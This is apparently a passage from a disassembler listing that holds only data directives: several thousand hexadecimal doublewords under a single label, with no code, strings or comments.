		dd 0D75D0083h, 0C618416Eh, 3000D955h, 211A68Fh,	34B5FEAh
		dd 0C790C0F4h, 0A8D8F9D2h, 61000506h, 0EC778749h, 73084F27h
		dd 0E9F35838h, 21B7FE07h, 0F174E0E8h, 270082B1h, 0FD03EC50h
		dd 2E370AEh, 5F8898FBh,	41F78FDDh, 56ED28A3h, 16FF50D0h
		dd 9243C3h, 8E5F1B38h, 673DC7Dh, 0B999B500h, 0B973FAAh
		dd 0F6F703A1h, 0C2E2E109h, 4F79EAF0h, 55F2B1Ch,	30360F7Dh
		dd 0DC97C0FDh, 2988ABh,	6DF93DB0h, 0A7E68B27h, 875BF400h
		dd 0CD5CEFDAh, 78DF00CAh, 45826EBDh, 3A00C406h,	719241EEh
		dd 7775E1Ch, 87E4AEDh, 78EC7C63h, 0AB98D912h, 89295307h
		dd 8E604E90h, 87501833h, 9DF84824h, 0A41A8A1Dh,	0D97F9480h
		dd 14D414Bh, 223E8B42h,	0E80D896Dh, 0E91496C6h,	7AD4C775h
		dd 0F2474Ch, 0E391B08Ch, 0DF3EEBh, 38ECD5AEh, 0C73A8477h
		dd 0C67F6C0Ch, 399B681Ch, 6F01556Dh, 0B50F1668h, 38488293h
		dd 0DDF3146Ah, 0DB860B60h, 7FD2C3EBh, 136723C0h, 3A484200h
		dd 6B5C233Fh, 6189059Eh, 809377A5h, 0E9D3F2E2h,	0FD918007h
		dd 0E3371070h, 78EE21F0h, 4E1F1951h, 0FC398064h, 80A18F63h
		dd 0D0F7EB0Ch, 0A4B793ABh, 0AF722800h, 46C54A6h, 2DF60033h
		dd 1FE6AA9Ah, 6005BCFh,	13A73D9Bh, 3CA26C4Ch, 5F0085E3h
		dd 0BB47AE3Ch, 4300A918h, 7795E779h, 450698h, 41379DBCh
		dd 2503D099h, 43481490h, 902E3048h, 7F79AE08h, 1D0700CAh
		dd 1B85DE66h, 0CE006DFBh, 6BBAC2FEh, 0E0CF99D2h, 7B570017h
		dd 9D9012A7h, 0C6003918h, 0F8C3E2BBh, 0C873ECh,	0AE31A0E5h
		dd 4F019571h, 7006A402h, 8276C9C0h, 20C294DCh, 340BB8A6h
		dd 0A5695800h, 56E304Eh, 477778Fh, 4ADDAE1Dh, 0FB46807Dh
		dd 1C0E7367h, 15AB7Ch, 0E289F442h, 0F6EC037Ah, 0E8CD74E5h
		dd 0E901C8B8h, 0BAD5A107h, 0EE63C528h, 0B04DE35Bh, 1CE18347h
		dd 181AD954h, 0B33546D3h, 75222700h, 0FCBFE9FFh, 72F0038Dh
		dd 7D580C06h, 0CB08B011h, 2D1A3700h, 3A2AC49Dh,	3E811000h
		dd 0D654F614h, 0C8E9009Bh, 0DF45ADAh, 49028573h, 627FC4E2h
		dd 7EC17D3Ch, 3040EE1Fh, 0E0FBAD59h, 3E128AFEh,	1F024F7Ah
		dd 606A4169h, 0E0AECC6h, 809ED11Ah, 81CC00FFh, 53F87E84h
		dd 34A00604h, 5886FDE4h, 0EE9C3C98h, 982FFC80h,	94DCE1A7h
		dd 0BD015007h, 81CB5778h, 0A942796Ch, 0AD3560h,	58985674h
		dd 0B57F482Fh, 67FDD300h, 938E717Ah, 0C00F004Ch, 9970ED11h
		dd 0FCE1C944h, 97012838h, 4EC34659h, 0B07BBB9Fh, 4FF8D64Ch
		dd 0D95D18C7h, 0CEDC7CC0h, 0BAF41C58h, 0F71E80D8h, 34F03F4Eh
		dd 0A20E88B8h, 20D636B9h, 5C9DEF8Ch, 6D520CB5h,	7A28F8A1h
		dd 551DD200h, 0C6919AF5h, 0D60C073h, 43958963h,	0D7106C1Dh
		dd 29A96706h, 2AC50718h, 20AF84F1h, 733F2471h, 0FDC138h
		dd 18583C8Fh, 0B7850DCh, 244235CBh, 944ADE81h, 3759601Ch
		dd 1473A812h, 614D6F00h, 5A3DBEh, 25803A87h, 1F631370h
		dd 9805F577h, 55DB8E47h, 8CC4AFC0h, 0C0B77FBAh,	0CB84C7A0h
		dd 92038E66h, 521665ACh, 8037C2C0h, 36B28CD0h, 0CAB1487Ah
		dd 2BEEF600h, 1567FF61h, 0CECA7F07h, 0DE50BC90h, 3F27C27h
		dd 218CF9AEh, 7EA87506h, 4300CA05h, 2DD7746Ah, 7F335C65h
		dd 0A0EA00B3h, 99EF5FFCh, 6A028C4Bh, 10F05321h,	0C8EFE3FBh
		dd 5C234CB5h, 987B06C1h, 5B11001Ch, 97144393h, 7600EA1Ah
		dd 0B57312CDh, 1EEC98D1h, 24AA0130h, 8AC38078h,	0A0491BBFh
		dd 58828726h, 540351Fh,	9733CB1Fh, 0FCC70484h, 0C1D372EBh
		dd 800B38DCh, 20EF2529h, 0F960271h, 9A39210h, 0C1ECC4A0h
		dd 9AEE530Bh, 0B905C000h, 0AE9E8952h, 88384828h, 88FB1502h
		dd 0A0A0C66Dh, 490D5FD8h, 3800D979h, 0B8B6098Fh, 0EE21DA4h
		dd 114E796Fh, 5566EBC0h, 0C90F2640h, 0C063D7ADh, 640EAC42h
		dd 52030988h, 1000AB94h
dword_4E814C	dd 253A976Ch, 8FEBE43Eh, 20588F78h, 0BBD363C9h,	0D1D03948h
		dd 350F89C8h, 9585A813h, 7CF401E5h, 60D4E994h, 1B4C16BCh
		dd 0CBC00059h, 915AE8C1h, 0D7770009h, 0CEC61F62h, 760E6D73h
		dd 8012A042h, 649AAED9h, 6D0B4CAFh, 83930075h, 427CA6A3h
		dd 0A900405Ah, 3B6FD87Bh, 44987FFh, 0FDEFC161h,	7814D007h
		dd 0F70073EBh, 20E67EE0h, 399C97h, 87DB2396h, 90D9AB3Dh
		dd 66D74700h, 0BF83EB24h, 758E052Fh, 0D03DCCFBh, 26A68C04h
		dd 80F33B3Fh, 2769F7Ch,	50AA85B1h, 132E831h, 70C8E65Ch
		dd 0EC88FA0Bh, 0EC007886h, 2FEAA4D9h, 0FCC95E4h, 0C21C7A9Dh
		dd 961E1BA0h, 0B4003687h, 97EA5B7Fh, 39794685h,	0E83FF86Fh
		dd 0FA614B00h, 81D2AE8Ah, 26B21A00h, 0F9764E63h, 725B076Ch
		dd 60C2915Fh, 62E7DBAFh, 0CB3CB002h, 6815C9FDh,	0B18A74h
		dd 36B3A1EAh, 28B7091Fh, 0E52BF700h, 33FFA323h,	64631D49h
		dd 7B6F80D7h, 0C65CF2E6h, 37E7F700h, 0E5DE1FD3h, 109101C1h
		dd 0D9B23CBFh, 12302062h, 19F6833Ch, 0AB1198C2h, 139ADF01h
		dd 0CC41C0A3h, 0AEA10090h, 38190A21h, 0FB00AB7Eh, 0F67B153Bh
		dd 133CE95h, 53FDF546h,	348E5613h, 6E24F1D0h, 0CF01A8A2h
		dd 5080F796h, 22002862h, 0FDA031EFh, 0C9022CE5h, 0F8173D1Bh
		dd 1348E896h, 1424A05Dh, 0DEF6185Bh, 1243A017h,	0D32C2214h
		dd 20A0C10h, 1E193997h,	0DE9C2D4Eh, 924001B0h, 710F98E3h
		dd 0F483D818h, 15D8E503h, 80321AACh, 17FBADDh, 89D49543h
		dd 0D0E32018h, 6D003D7Bh, 0DA44A5F4h, 0CA502Eh,	43CC7859h
		dd 739061EAh, 5B2CCB0Fh, 0B77A01FFh, 37D8933Bh,	8D323049h
		dd 0D59D2999h, 0BB11D901h, 730A16F6h, 21650898h, 0D500C554h
		dd 0DABF89E7h, 0E25FE7Ah, 0F2181FFBh, 43771D80h, 7E0EEB1Bh
		dd 0A093CC51h, 7AF526D0h, 407D1DBBh, 0B70F808Bh, 7901A94h
		dd 21CEC4Ch, 3AC68AB9h,	1B20481Dh, 30F80023h, 9653BDEFh
		dd 54744E98h, 0DD211E60h, 4A1F81Ah, 8FCF74D3h, 825181A7h
		dd 0EB6440EFh, 170672FDh, 81E4EA18h, 13D90898h,	4930601Eh
		dd 60DB323Bh, 6D9121A8h, 48258F7h, 0AB60478Ch, 1123DBD5h
		dd 15E11EBh, 0A1D5934Eh, 83C03D89h, 0D8E0D998h,	42218C7h
		dd 55EF43F8h, 80F83754h, 25F959D8h, 0D017BD9Eh,	0F41CA023h
		dd 282CDB0Ah, 207F6032h, 2730C9EEh, 4DCA2400h, 31407E78h
		dd 912C0032h, 0C729CDD7h, 0E500C445h, 98E94424h, 0C1059h
		dd 0EA777F5h, 1101CF7Eh, 0A431B100h, 4D9B49Ah, 9FA91E75h
		dd 1E9518BEh, 960007C2h, 26373217h, 1DEEFB05h, 802A3C1Eh
		dd 61311073h, 0F6037122h, 5969B9E9h, 0AFAEA799h, 97F8A045h
		dd 94CF58h, 5AA8F230h, 15078E7Ch, 0FDF9AB07h, 3CE0F049h
		dd 2EBEA51Ch, 0CCDB71h,	9D0F5BCh, 0B0036658h, 5DFB8776h
		dd 0FDA2D040h, 6B4A00C2h, 4E0374F3h, 68013CD2h,	11F076F9h
		dd 0CFF8AE95h, 8E510060h, 21E089C8h, 920187F4h,	69E76C41h
		dd 0E9C01F67h, 90D47132h, 33B4001Ch, 42A0F223h,	8D001664h
		dd 5E368624h, 1C8ABFAh,	0F1E5EB8Ah, 0F49C7DF4h,	3500AC22h
		dd 7961AFE1h, 75E2A8Dh,	0C1D67C2Eh, 3FE4E0A3h, 5424E04Ah
		dd 990E029Ch, 0FAFE8002h, 14C1F38h, 0AB4F2B5Eh,	8080A03Bh
		dd 8B980DE0h, 71155F5Ch, 733E1ED1h, 6204C056h, 392217F8h
		dd 16249F00h, 0CC05EEAFh, 9BD10667h, 50536E98h,	0E28B4E0Bh
		dd 9F9B8068h, 0EB6261h,	40AF1792h, 12674EDh, 949B6900h
		dd 0F160A92Bh, 81B70072h, 0CFA1B8D4h, 7505F938h, 419E07F5h
		dd 0F42BCEC1h, 106C0E8h, 0BCCB377Dh, 46F88064h,	1E00A0DDh
		dd 75D5CD9Bh, 4DB7922h,	661B10Bh, 0FBCD8025h, 2B1E5B94h
		dd 0BFA3D23h, 0D6EA28DDh, 1801F64h, 7073389Fh, 86C180D4h
		dd 43FA283Eh, 6020195Bh, 30E71937h, 0A500F0E1h,	0BF2DFE9Fh
		dd 0E369274h, 0E07912BAh, 5EB3D141h, 4F06EC0Ch,	485A760Bh
		dd 0A5638086h, 0E22070h, 0BBEAD19Dh, 42D37CAAh,	0BC3C01Eh
		dd 1A3D7078h, 9BFEBD76h, 0B8D81F49h, 3053612Ah,	171018B2h
		dd 0CF140E40h, 0A8933Fh, 8DCDED3Ch, 17D1948h, 6D4E4BFFh
		dd 0F44D061Dh, 0BA3DEFC6h, 829900C7h, 0D5511652h, 38F63FFDh
		dd 963BA380h, 0D311F8AAh, 0A464C200h, 0D2C159EBh, 0C31003Fh
		dd 8886B2FCh, 0B4390FA7h, 0E2A8E1AFh, 0E842EDFEh, 4DA480F5h
		dd 0A17D0903h, 60E0BCD4h, 16983BB0h, 8FB4C70Eh,	58E40DA0h
		dd 18004FBBh, 0EA9B86FAh, 0CBCA51h, 887FD1B6h, 0AE1C8DD6h
		dd 0F12D3F4h, 14037192h, 0F4FDB2A8h, 6602BC91h,	9D6ADCh
		dd 2437E1F7h, 27C46092h, 91DBC102h, 610CB761h, 0B6F0AF10h
		dd 159403E9h, 0E7ADD4E1h, 70D8CC9Bh, 40F0B73Ch,	25B07E60h
		dd 3E31D086h, 0E99E7692h, 944BC06Eh, 0BA2FF5CBh, 27752000h
		dd 0DCF9513Bh, 0A14F3A25h, 2A4139Fh, 0DA919E67h, 2095CC87h
		dd 354CFF0Ch, 0CFDC5106h, 0F66D57Eh, 0B483F106h, 0D9440452h
		dd 0E6C5435Dh, 1C59D80Dh, 18E16079h, 0F6F8B2AAh, 7E58E703h
		dd 0E8C9A744h, 1DED1F89h, 804F1A43h, 0FC2725E2h, 0B9506154h
		dd 0E500A8ABh, 23DDB7ACh, 0E42E22h, 483DF225h, 1B5F990Bh
		dd 8E63B2C0h, 77BF17h, 0E0758F0Dh, 0DC094164h, 6B5D2100h
		dd 8C6E2B05h, 0A2320FEFh, 0F0806A75h, 0B7D47F59h, 202ED371h
		dd 0FD006512h, 0C3392657h, 0EBD10E8Ch, 8BA035F4h, 440EBC0Dh
		dd 0A56B2202h, 48C5C9BDh, 1675F4FCh, 7E7FC4h, 8F8A4FC9h
		dd 0B7509C87h, 0AC00D1ECh, 75FF588Eh, 0E20DFF1h, 0ED9A2CC8h
		dd 4C622327h, 950909E8h, 0B0C70AADh, 0E9D36A8h,	0DECE9635h
		dd 0FEBC1DA3h, 5F3B9012h, 0C1EE0400h, 37703Eh, 0E0BE5669h
		dd 0DDAD7B5Ah, 75171D0Ah, 3E00BCF7h, 8D9790B6h,	0E8E250A6h
		dd 0D6330CD5h, 211198F3h, 0CF03DBB8h, 5D232820h, 3D191777h
		dd 9E3006Fh, 6A8DB3DEh,	4938D37Ch, 54FA8941h, 4A482088h
		dd 0C0139C5Eh, 9E03ED52h, 0C28EF66h, 7000ECE4h,	0F4CF746h
		dd 0E503E9Ch, 710BA106h, 0DD0A0CC0h, 727E54B3h,	0DA013D76h
		dd 0B786C1AEh, 3080F8E5h, 374819F1h, 6E07C25Ah,	79AB3B1Dh
		dd 7CE07260h, 0CD8B00B7h, 50292D17h, 0E10A3A62h, 0F04632ECh
		dd 8DBD9700h, 0A51877h,	57BF091Dh, 510D4EC4h, 824D8900h
		dd 0ED2922AAh, 7F6300F3h, 3340F66Dh, 0D5004C17h, 203449F9h
		dd 3B28D8CBh, 1038FF36h, 0C5F40E00h, 0B60387BAh, 32D3D900h
		dd 0FF2EA144h, 930C0E68h, 59009F26h, 7A3EC892h,	80A33D3Ch
		dd 1999D1E4h, 0C5272Bh,	56F7938Eh, 0A57362FCh, 75593900h
		dd 9A842E94h, 127E0027h, 0D07F1FADh, 5158B869h,	0FF3D005Ah
		dd 0B71DF054h, 40EF64D7h, 9807C0DBh, 86000313h,	4B4070Ah
		dd 2E379Eh, 1D74FA44h, 286A1005h, 0AFE2B00h, 1E075C9Dh
		dd 0D69F03BAh, 0A65D6BBEh, 5E2B1FA8h, 3D07EFFAh, 83BF65DEh
		dd 31362330h, 686200CCh, 0F403BCE0h, 8901FFA1h,	4E5B1520h
		dd 4824616Bh, 260C00B1h, 0D7E1CD8Ch, 340C5E12h,	11A3F1B2h
		dd 0A96B0093h, 66CD583Fh, 0E50A9E62h, 8DD331CFh, 0ED0F3D04h
		dd 0E13295C0h, 2B410008h, 0A0283BD2h, 0F200A7F3h, 0F7D0DA95h
		dd 3AE27C7h, 1848BE69h,	0B6F97583h, 0EBC464EAh,	317ED514h
		dd 0C2B000BBh, 9A8F67CAh, 2CB059h, 0A63EEA40h, 0D516A747h
		dd 38EECB31h, 3090BF32h, 0F4B23822h, 9700DDECh,	0B65ED58Fh
		dd 0C087C47h, 0EC6B6335h, 0E2501628h, 89071B20h, 2A31433Ah
		dd 48DA9A87h, 3E831Eh
		dd 188BCD45h, 160CA3Bh,	7FEA8A94h, 48362A53h, 0D400E024h
		dd 6AF61F3Eh, 7C2ABDFh,	4F5DBB89h, 6153A07Ah, 0DE00FB09h
		dd 166D9044h, 8747B2h, 3BC3EDF7h, 95713C68h, 4EAECA00h
		dd 9E206B1Bh, 3FDDB830h, 0F3A2A8h, 8E917F45h, 40321110h
		dd 0CE41C3A0h, 8A8B5902h, 604ADA93h, 0D03A64h, 9C9EDB51h
		dd 23485435h, 0EAE98F00h, 349D632Bh, 0B97C606Eh, 6DBB9E35h
		dd 9519BC00h, 90C92CCCh, 1E52795Eh, 7BB879A6h, 148051BCh
		dd 2F6CEFC3h, 923F044Bh, 0FE76807Ch, 19183E37h,	0ABB30244h
		dd 46580567h, 59F8FA60h, 4C4CD5Dh, 0D33C9482h, 6DD42890h
		dd 87920046h, 1A29EAA4h, 58185977h, 0A220E23Ah,	0E7A81EB7h
		dd 603DD290h, 9336DE90h, 4E743C06h, 73165CDh, 0A5FDC6CFh
		dd 0DB135077h, 4109B7EEh, 0A195889Eh, 445163E8h, 0A2D4B065h
		dd 0A6DF00ACh, 5D20C6EEh, 9126648Fh, 0E200BCDDh, 8890336Ah
		dd 0C67530B1h, 0A07EDB41h, 0C3EA5400h, 0F460B66Bh, 43F558C0h
		dd 897D4200h, 4EAD696Ch, 88FB9600h, 9DAB6F2Dh, 0C6820002h
		dd 5D42E19Ch, 8307628Ah, 912F1CA5h, 0E3B34EA0h,	2F2858ECh
		dd 6FBE9700h, 2FC12D6h,	51F3BF00h, 6E5CC46Ah, 0B85758C7h
		dd 4A673400h, 8A018883h, 660545F6h, 0AEC3A638h,	0FDE4E81Dh
		dd 5C053C16h, 880BD2Eh,	50E88B48h, 0E408A006h, 60C00E70h
		dd 334062F2h, 0A5ACBF01h, 52B7CF00h, 90CEC3Ah, 8F650549h
		dd 0C202132Eh, 14627BB0h, 2866B0C0h, 3538F51Dh,	0FC0170E4h
		dd 0DC8F773Fh, 0E6E930h, 2B6E0BDh, 0FEE32A64h, 185CD0C0h
		dd 757F9DEh, 0BD9CF076h, 3101F0C7h, 0B40F6061h,	0A0EB6491h
		dd 0EF90655Eh, 0BEE50055h, 0DE270E97h, 0A83C4B81h, 43E1FF1h
		dd 30896312h, 6C13F8h, 0D92BF6BAh, 244998E1h, 91D1C800h
		dd 797B7EAFh, 0F7BB00DEh, 0F0269552h, 3D015647h, 66533655h
		dd 0F0401378h, 0F4CEB045h, 0A6DD1EEBh, 311080DEh, 3255DA56h
		dd 0F77235Ch, 402B5B8Eh, 0E7F9F4Eh, 58FE472h, 0A7A9774Fh
		dd 2A9404FBh, 0A20C4028h, 0AB50DDh, 558EF291h, 6461AFE9h
		dd 0A93D2E09h, 636C2E31h, 0F8AB38D0h, 2308BEEh,	0D75E64CDh
		dd 0F4503348h, 22786660h, 7CD24Ch, 8D24FA4Fh, 0D36F969h
		dd 0C6782971h, 2B4831FCh, 0B98C0170h, 45AD1056h, 0A48820h
		dd 5804B67Ch, 0F603FB7Bh, 3922BB04h, 98B0F75Dh,	0A68A0C82h
		dd 18403BE5h, 71DF9512h, 77048D7h, 0FDC7D84h, 61415AE5h
		dd 3865C340h, 1C00BA08h, 0B670E0B4h, 13D0B46h, 556A98CBh
		dd 0F0A50FD5h, 0C83EDBC9h, 6C5401DCh, 25E118CDh, 102FA842h
		dd 0B402AAF5h, 7C01A8F7h, 4CE4E13Eh, 52093422h,	0C42B815Bh
		dd 93691300h, 8096C950h, 0DDC0BF00h, 9A15D0Bh, 0EC9B619Fh
		dd 0EDA3E0A0h, 4D002490h, 48137B1Ah, 3826BA76h,	22835650h
		dd 0AF5298BCh, 391186A0h, 4FCEFF00h, 8ABD052Eh,	1A501C4Dh
		dd 9DB9C00Eh, 8746C3BFh, 0EA01C773h, 0F0B19991h, 4031D480h
		dd 241D3FE4h, 0B8DB07h,	0EE54F8B2h, 0B40013FCh,	0DFF21011h
		dd 1FEBF9h, 0DA7C0BB6h,	0EC821F7h, 81D31301h, 73ED5D96h
		dd 1F625A30h, 6EF1BE2Bh, 0A6BD07A4h, 1191E7B2h,	0E965DBE7h
		dd 208DCD1Eh, 0A53A153Ah, 202283FAh, 0A8B124F0h, 96A070h
		dd 1AB040Ah, 0BDCB0B09h, 0BCB05898h, 0CF873Ah, 166FD2C9h
		dd 0BA8B0604h, 1B550008h, 0B54D183Ah, 0F89251ACh, 911FD7E0h
		dd 649262Fh, 20B8A057h,	1F3D6B9h, 0CC9AC067h, 5058D8E4h
		dd 69A8EFC8h, 153BB202h, 0E0131A44h, 26527D88h,	80E44378h
		dd 8F19CAE0h, 0B200EDCDh, 0D151AD9Bh, 577176h, 2BA5107Ah
		dd 9E5311Bh, 0EBB00D00h, 6378C2FDh, 5A78DEh, 0C6586740h
		dd 13F05E98h, 1679E005h, 68D059B9h, 0EE60D6Fh, 0D055B3A8h
		dd 3441FD2h, 0BD6142DAh, 0F4BF03D0h, 3C5E521Ch,	2CB50903h
		dd 0C09283C4h, 4C384B42h, 290018E8h, 5607E62Dh,	1000AD0Dh
		dd 0C3E3D45Ah, 1E4EB672h, 0C39659EBh, 17ACBBA1h, 8FE5C90h
		dd 0C7193Ch, 3763BC30h,	9DD7B8h, 8A832232h, 94C0D372h
		dd 0C6694E1Dh, 0BAD271C0h, 3DC30438h, 57EEBD9h,	0A952224Ah
		dd 68C283C8h, 0A8892800h, 66305A13h, 3378007Bh,	39C24864h
		dd 0C1391CDAh, 344A80E6h, 749ED263h, 90404CAh, 8077D630h
		dd 0A6689125h, 0C45F0A00h, 1DA007F7h, 41A70567h, 7A2C29h
		dd 0EFAB13B7h, 190257F2h, 0B0A1A96h, 777460FBh,	5A9E2643h
		dd 3ED600DFh, 0B05717BFh, 8B550400h, 0B6667180h, 56B895h
		dd 630C4934h, 0B1E9C61h, 12FB900h, 3878B042h, 8CA67Bh
		dd 0B2A87D9h, 49A89889h, 241E7798h, 6140D48Eh, 0CEC68A6Ah
		dd 0CF1E006Dh, 8331204h, 0FC0F68E5h, 615A2FB8h,	0A386EA3Ch
		dd 6C49E8h, 5CC3CE20h, 9E257643h, 195F9D00h, 0D3574F3Ah
		dd 2FB0003Eh, 0CA3D659Ah, 540088F2h, 0F670A795h, 0EF0CCEh
		dd 5E09214Ch, 0C6B8A2C4h, 7207FCECh, 28C79BC2h,	0E1B019D7h
		dd 1F52ADh, 292BF16Bh, 4F95C88Ch, 49949000h, 6856884h
		dd 80D50089h, 2FDD360Dh, 0CD006905h, 0F7D15608h, 0D30F4Eh
		dd 1FEED0A5h, 0C7185788h, 0F534C300h, 5EA20942h, 5071C0C6h
		dd 96B02521h, 0B3EE9E98h, 0F306E48h, 0E6855B42h, 78118B92h
		dd 1F8E0043h, 36A06222h, 0E7003791h, 0FD70594Ah, 309A39C1h
		dd 95283F0Bh, 60C03306h, 0C4A384C7h, 0E4AB1B73h, 4AD0E914h
		dd 550C8533h, 0DE83DCFCh, 596E0240h, 9FB829ECh,	0C0219380h
		dd 5500AAD6h, 7F280CAh,	71A0596h, 31A3D774h, 0CE758006h
		dd 0D8000AC6h, 8D30BA62h, 2AF49529h, 0A38AA55h,	73534318h
		dd 0D423404Ch, 29006FEBh, 0C418CC2Bh, 1CFD866Eh, 80A6AF08h
		dd 0C6CD9D41h, 1F03DE25h, 8D6909A7h, 2770D856h,	76BF0061h
		dd 3F5E5F3Dh, 93007F0Fh, 115A642Ah, 0C8B8CFh, 8744FA9Fh
		dd 5F5E8E77h, 70A8E760h, 5CF91BBh, 1920B3DBh, 24820730h
		dd 278D7025h, 36EC5C2Fh, 8C79C439h, 0B034AFCEh,	57B41E46h
		dd 99EEF3h, 0C21F5E9Dh,	0BA0053D1h, 2B758F63h, 0FA0FCh
		dd 22800532h, 0DB3A2CDEh, 94B73C1Eh, 97FFF9C0h,	2C66852Bh
		dd 3DF037h, 0D8872E6h, 0A200243Eh, 9312DEEBh, 3792886h
		dd 72438B40h, 7CD0BE29h, 0E10E47F4h, 2082F339h,	0CC045AB9h
		dd 0FA3600EAh, 461EBDDBh, 9E00E68Fh, 50B5739Ch,	4AF15CDh
		dd 0BBA08EF1h, 742382DEh, 0DCFFBA80h, 1C00E912h, 32C602C7h
		dd 7F3BFDh, 524EEA63h, 0E7668829h, 0B16D5A00h, 0E34A7734h
		dd 0C2440047h, 3B870FAAh, 0AE374862h, 0BA8068B6h, 24F4BE7h
		dd 0FC9333DBh, 9C8027F2h, 0FBC1DEC9h, 0EE1FCF7Bh, 31400766h
		dd 8992993Dh, 0F3C23080h, 53E73B10h, 0F06A7400h, 2B934655h
		dd 0B554000Eh, 996C4B95h, 87122575h, 20432AF1h,	98E816A8h
		dd 75C1EE1h, 0B19C4818h, 7E14D2D0h, 70D6F461h, 45F82B07h
		dd 16516300h, 3FCA569Dh, 1F1B0EAh, 4E897519h, 0C08805D8h
		dd 82070A9Fh, 479E20CCh, 2CA79671h, 1C6DB520h, 9D4DC0C4h
		dd 455E80A4h, 0C3CAF9BFh, 0A8504FFCh, 0CF0064B0h, 0BDDD0F52h
		dd 4A8E1397h, 58F82Ah, 319C4E4Bh, 0C219D0h, 636E49EFh
		dd 931B4576h, 9ED5C00h,	8FD76F59h, 0D1331D91h, 0FA3C4296h
		dd 68C0F10Fh, 0AF019275h, 0DDE921DBh, 196077CBh, 0B0674920h
		dd 7ADEFA7Eh, 8E4D00E7h, 7E827659h, 97037077h, 0B8F909FFh
		dd 0DFAFB157h, 60B4DCh,	0EDA174EAh, 9E3C4117h, 0A9916400h
		dd 3108547Fh, 0C081504Fh
		dd 0A07BF8EFh, 0FB8F5BBCh, 69D6C600h, 86F46C00h, 600DD5A6h
		dd 7ED7E32h, 116AD461h,	639127B2h, 0C400E946h, 3DEB8414h
		dd 3EFCB405h, 9200E69Ch, 0D8FEBEDEh, 3605318Fh,	7DA21A9Bh
		dd 0A359DC00h, 1C4688E1h, 0EC3D260Ah, 0AE3500C0h, 1C142475h
		dd 51031577h, 0F30C43B6h, 0CCBFF021h, 73F7025Dh, 0CACE17F1h
		dd 0DD0EB068h, 709ABA01h, 0B26B07C8h, 9E5820h, 98AF634Eh
		dd 91082415h, 76235400h, 1C29C4ACh, 7BE28Eh, 96F0123Ah
		dd 0C26C7DBDh, 0C9FD8002h, 811FF8CBh, 0B93742D0h, 18E175C8h
		dd 0A80BE4F6h, 94007E7Ah, 7FA2C5DFh, 99480Eh, 0A2F0936h
		dd 4AD521C9h, 5CE81672h, 2D131216h, 0A2015900h,	75F640h
		dd 96DE8A33h, 0BEB66056h, 806BA63Ch, 0A9715AF7h, 2EA56D41h
		dd 838454h, 4AC47CAEh, 0EC07DD3Eh, 7BF89FE4h, 886C0BB0h
		dd 0CEE70125h, 0D5DC5F7h, 246DE9C2h, 0CD00C7A8h, 0EEC946B4h
		dd 16D83E67h, 5322285Dh, 3FE00118h, 0E8EA15B5h,	453FDFF0h
		dd 5A8300A4h, 0D1399D3Dh, 0FB2700E2h, 0DE2B7874h, 400D452h
		dd 7FF25BECh, 5C6DE0h, 87DCF050h, 620CFB7Dh, 4B06D4B0h
		dd 0A3A9BA83h, 43791FE8h, 16048030h, 0B7190236h, 0E426BE00h
		dd 2869AC01h, 709288h, 5B72E167h, 6CB3E3E7h, 3414F902h
		dd 0E0D91B61h, 9EA2DDh,	547B7F10h, 0D6DE0C1Ah, 711E1500h
		dd 0E6642B17h, 0CD4F0032h, 0A3524CC8h, 0D1149558h, 0C277D4h
		dd 57991714h, 24CD680Fh, 0E89CBBh, 44F17973h, 5A18FCA7h
		dd 7219FDCEh, 0C7D53B5Dh, 94788849h, 0D0137904h, 3F7CB9EFh
		dd 3892EB01h, 4A31F0D5h, 43B824h, 0D4BB03D3h, 110FAB4Bh
		dd 0C4018CEAh, 24F3E39Fh, 0E070F21Dh, 0AE3C0013h, 62BEDBA4h
		dd 6FC3835h, 1F4CF816h,	0AB660Bh, 77A976ABh, 3B2FC87h
		dd 4D04E292h, 289B9B19h, 660283B0h, 320A4C00h, 0E87DB7D0h
		dd 429A583Dh, 0C16DB100h, 2C01BA0h, 67D44F07h, 0FA12B0D7h
		dd 516360CDh, 0AD9D0003h, 0C15D802Dh, 9658626Fh, 1F74006Ch
		dd 838BB14Ah, 0A2610192h, 78161737h, 0B3A8403Ch, 0AB1D6C31h
		dd 6AE443FCh, 696A0500h, 99B51C8h, 0C0FB730Bh, 85F90481h
		dd 0AD21D094h, 628E6300h, 0CD6B6EC3h, 6D06079Fh, 40517CA9h
		dd 2B0F44F3h, 0DD02DF00h, 8189D7B4h, 0F1E50013h, 35EAC0Eh
		dd 0A8000984h, 43688C66h, 0C80421h, 0D9A2B281h,	0D61E6439h
		dd 341BB900h, 0C4D025EBh, 189ACEh, 12813916h, 706B80C1h
		dd 82D3C00Eh, 0C7EAE041h, 0FA1ECAD1h, 640159B6h, 0AA459200h
		dd 0C0DD63A2h, 0F6D28C03h, 0D8075C29h, 436773h,	66D876FEh
		dd 5F6B62F2h, 9895E324h, 0CA1D0280h, 222AEBh, 940838FCh
		dd 0AD6E59F2h, 0E5ABA517h, 9D96A021h, 0C1E14475h, 29B0670h
		dd 1FF52CC3h, 30504C50h, 4101C6Eh, 0C0F1931h, 44E85C00h
		dd 2702A1ADh, 7B473D9Ah, 84105384h, 0A573FCh, 0AE252B50h
		dd 9F5406BEh, 49FDBFF7h, 95A7C20Ah, 0AB1C1C13h,	0B00650A8h
		dd 0B36C546Eh, 0AD580638h, 282527AAh, 151E2810h, 0CD00C688h
		dd 18515D2Eh, 8D7F0BD4h, 0F00015DDh, 4230EE94h,	4BB21D0Fh
		dd 6C0821C4h, 0ACC5EB05h, 0D43BE0C3h, 77737CECh, 265F0013h
		dd 5CE0E51Ch, 0D1169B76h, 7E007902h, 42A21B62h,	38EE6Eh
		dd 8DE16A68h, 48E95ED0h, 5969BD1Ch, 0E07A81CEh,	175D1D03h
		dd 5C43004Dh, 58CD29A7h, 9900310Ch, 0DC76A327h,	852C1Dh
		dd 4454392Bh, 346F0BE8h, 870004A7h, 0B333D1CCh,	196C60F3h
		dd 3FAF7E4Fh, 4C6FB203h, 3067EA07h, 0F0214408h,	0D53AAF86h
		dd 0E31A0002h, 0CD6453B6h, 81A90067h, 1D25BB5h,	900A67Eh
		dd 346EDD76h, 7CEC1191h, 894300B0h, 4297E845h, 4CC35F84h
		dd 3807791Ch, 6808590h,	0B6080AA4h, 0CD0012D0h,	0EEEB4583h
		dd 1B6F7B04h, 203C6E9Dh, 0E873D8B1h, 20A71BFCh,	0CFB22508h
		dd 80803C0Ah, 9815B7CBh, 83E6FC49h, 958E8D00h, 20ADF91Eh
		dd 8C52501Ah, 7C048C5Dh, 7FB241AFh, 2A254062h, 0B9C17683h
		dd 0D8A441F1h, 0B4227Ch, 8CBA940Ah, 0CDBFD035h,	69F0C100h
		dd 64C4D446h, 36DBA05Fh, 1A68017Eh, 0BD99AAE5h,	94A44040h
